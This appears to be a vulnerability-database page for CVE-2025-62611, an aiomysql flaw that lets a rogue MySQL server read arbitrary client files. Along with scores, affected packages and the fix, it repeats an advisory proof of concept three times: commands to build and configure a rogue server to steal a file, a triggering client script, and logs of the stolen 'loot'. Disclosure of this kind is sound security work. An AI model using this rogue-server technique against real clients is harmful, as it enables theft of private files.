CVE-2025-62611
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
CVE-2025-62611- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2025-35594
8.2
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
EUVD-2025-35594- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r397-ff8c-wv2g
8.2
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
Summary
The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.
Details
It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.
PoC
First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server
- Create a file to be stolen by the rogue server:
echo "gotcha" > /tmp/my_secret_file.txt - Clone the repo:
git clone [email protected]:rmb122/rogue_mysql_server.git && cd rogue_mysql_server - Build the server:
make rogue_mysql_server - Generate a sample config:
rogue_mysql_server -generate - In
config.yamlchangefile_listto["/tmp/my_secret_file.txt"] - Run the server:
./rogue_mysql_server -config config.yaml
Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # note that we explicitly forbid local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
Impact
This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.
Fix suggestion
Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267
- Record
GHSA-r397-ff8c-wv2g- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-73
- Updated
- 2026-11-02
NVD
8.2
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
CVE-2025-62611- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-73
- Updated
- 2026-11-02
OSV
8.2
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
CVE-2025-62611- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-73
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-62611
8.2
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
DEBIAN-CVE-2025-62611- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 9 moreShow less
OSVGHSA-r397-ff8c-wv2g
8.2
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
Summary
The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.
Details
It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.
PoC
First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server
- Create a file to be stolen by the rogue server:
echo "gotcha" > /tmp/my_secret_file.txt - Clone the repo:
git clone [email protected]:rmb122/rogue_mysql_server.git && cd rogue_mysql_server - Build the server:
make rogue_mysql_server - Generate a sample config:
rogue_mysql_server -generate - In
config.yamlchangefile_listto["/tmp/my_secret_file.txt"] - Run the server:
./rogue_mysql_server -config config.yaml
Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # note that we explicitly forbid local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
Impact
This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.
Fix suggestion
Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267
- Record
GHSA-r397-ff8c-wv2g- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-73
- Updated
- 2026-11-02
OSVOESA-2025-2616
7.5
python-aiomysql security update
aiomysql is a "driver" for accessing a MySQL database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . aiomysql tries to be like awesome aiopg_ library and preserve same api, look and feel.
Security Fix(es):
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)
- Record
OESA-2025-2616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVOESA-2025-2617
7.5
python-aiomysql security update
aiomysql is a "driver" for accessing a MySQL database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . aiomysql tries to be like awesome aiopg_ library and preserve same api, look and feel.
Security Fix(es):
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)
- Record
OESA-2025-2617- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVOESA-2025-2618
7.5
python-aiomysql security update
aiomysql is a "driver" for accessing a MySQL database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . aiomysql tries to be like awesome aiopg_ library and preserve same api, look and feel.
Security Fix(es):
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)
- Record
OESA-2025-2618- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVOESA-2025-2619
7.5
python-aiomysql security update
aiomysql is a "driver" for accessing a MySQL database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . aiomysql tries to be like awesome aiopg_ library and preserve same api, look and feel.
Security Fix(es):
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)
- Record
OESA-2025-2619- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVOESA-2025-2675
7.5
python-aiomysql security update
aiomysql is a "driver" for accessing a MySQL database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . aiomysql tries to be like awesome aiopg_ library and preserve same api, look and feel.
Security Fix(es):
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)
- Record
OESA-2025-2675- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVPYSEC-2026-1110
8.2
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
Summary
The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.
Details
It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.
PoC
First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server
- Create a file to be stolen by the rogue server:
echo "gotcha" > /tmp/my_secret_file.txt - Clone the repo:
git clone [email protected]:rmb122/rogue_mysql_server.git && cd rogue_mysql_server - Build the server:
make rogue_mysql_server - Generate a sample config:
rogue_mysql_server -generate - In
config.yamlchangefile_listto["/tmp/my_secret_file.txt"] - Run the server:
./rogue_mysql_server -config config.yaml
Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # note that we explicitly forbid local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
Impact
This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.
Fix suggestion
Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267
- Record
PYSEC-2026-1110- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-62611
8.2
aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.
- Record
UBUNTU-CVE-2025-62611- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2025-62611 No score
CVE-2025-62611 in aiomysql - Patched by Root
Root has patched CVE-2025-62611 in the aiomysql package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2025-62611- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
aiomysqlPyPI |
through 0.2.0 | 0.3.0 |
aiomysqlDebian:12 |
All versions, plus listed versions 0.1.1-20.3.2-10.3.2-2 |
None known |
aiomysqlDebian:13 |
All versions, plus listed versions 0.1.1-20.3.2-10.3.2-2 |
None known |
aiomysqlDebian:14 |
before 0.3.2-1, plus listed versions 0.1.1-2 |
0.3.2-1 |
aiomysqlPyPI |
before 0.3.0, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 21 moreShow less0.0.140.0.150.0.160.0.170.0.190.0.20.0.200.0.210.0.220.0.30.0.40.0.50.0.60.0.70.0.80.0.90.1.00.1.0rc10.1.0rc20.1.10.2.0 |
0.3.0 |
python-aiomysqlopenEuler:24.03-LTS-SP2 |
before 0.2.0-2.oe2403sp2 | 0.2.0-2.oe2403sp2 |
python-aiomysqlopenEuler:22.03-LTS-SP3 |
before 0.0.21-2.oe2203sp3 | 0.0.21-2.oe2203sp3 |
python-aiomysqlopenEuler:22.03-LTS-SP4 |
before 0.0.21-2.oe2203sp4 | 0.0.21-2.oe2203sp4 |
python-aiomysqlopenEuler:24.03-LTS-SP1 |
before 0.2.0-2.oe2403sp1 | 0.2.0-2.oe2403sp1 |
python-aiomysqlopenEuler:24.03-LTS |
before 0.2.0-2.oe2403 | 0.2.0-2.oe2403 |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
aiomysqlRoot:PyPI |
before 0.2.0+aikido.2 | 0.2.0+aikido.20.2.0+aikido.3 |
aiomysqlUbuntu:20.04:LTS |
All versions, plus listed versions 0.0.20-10.0.20-2 |
None known |
aiomysqlUbuntu:22.04:LTS |
All versions, plus listed versions 0.0.20-20.0.20-3 |
None known |
aiomysqlUbuntu:24.04:LTS |
All versions, plus listed versions 0.1.1-2 |
None known |
aiomysqlUbuntu:25.10 |
All versions, plus listed versions 0.1.1-2 |
None known |
aiomysqlUbuntu:26.10 |
All versions, plus listed versions 0.3.2-2 |
None known |
aiomysqlUbuntu:26.04:LTS |
All versions, plus listed versions 0.1.1-20.3.2-10.3.2-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-62611 is a high vulnerability (CVSS 8.2) in Aio-libs Aiomysql, published October 22, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in aiomysql 0.3.0.
References
github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g
github.com/aio-libs/aiomysql/pull/1044
github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538
nvd.nist.gov/vuln/detail/CVE-2025-62611
github.com/advisories/GHSA-r397-ff8c-wv2g
github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62611.json
Show 10 moreShow less
security-tracker.debian.org/tracker/CVE-2025-62611
github.com/aio-libs/aiomysql
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-2616
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-2617
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-2618
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-2619
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-2675
pypi.org/project/aiomysql
ubuntu.com/security/CVE-2025-62611
cve.org/CVERecord?id=CVE-2025-62611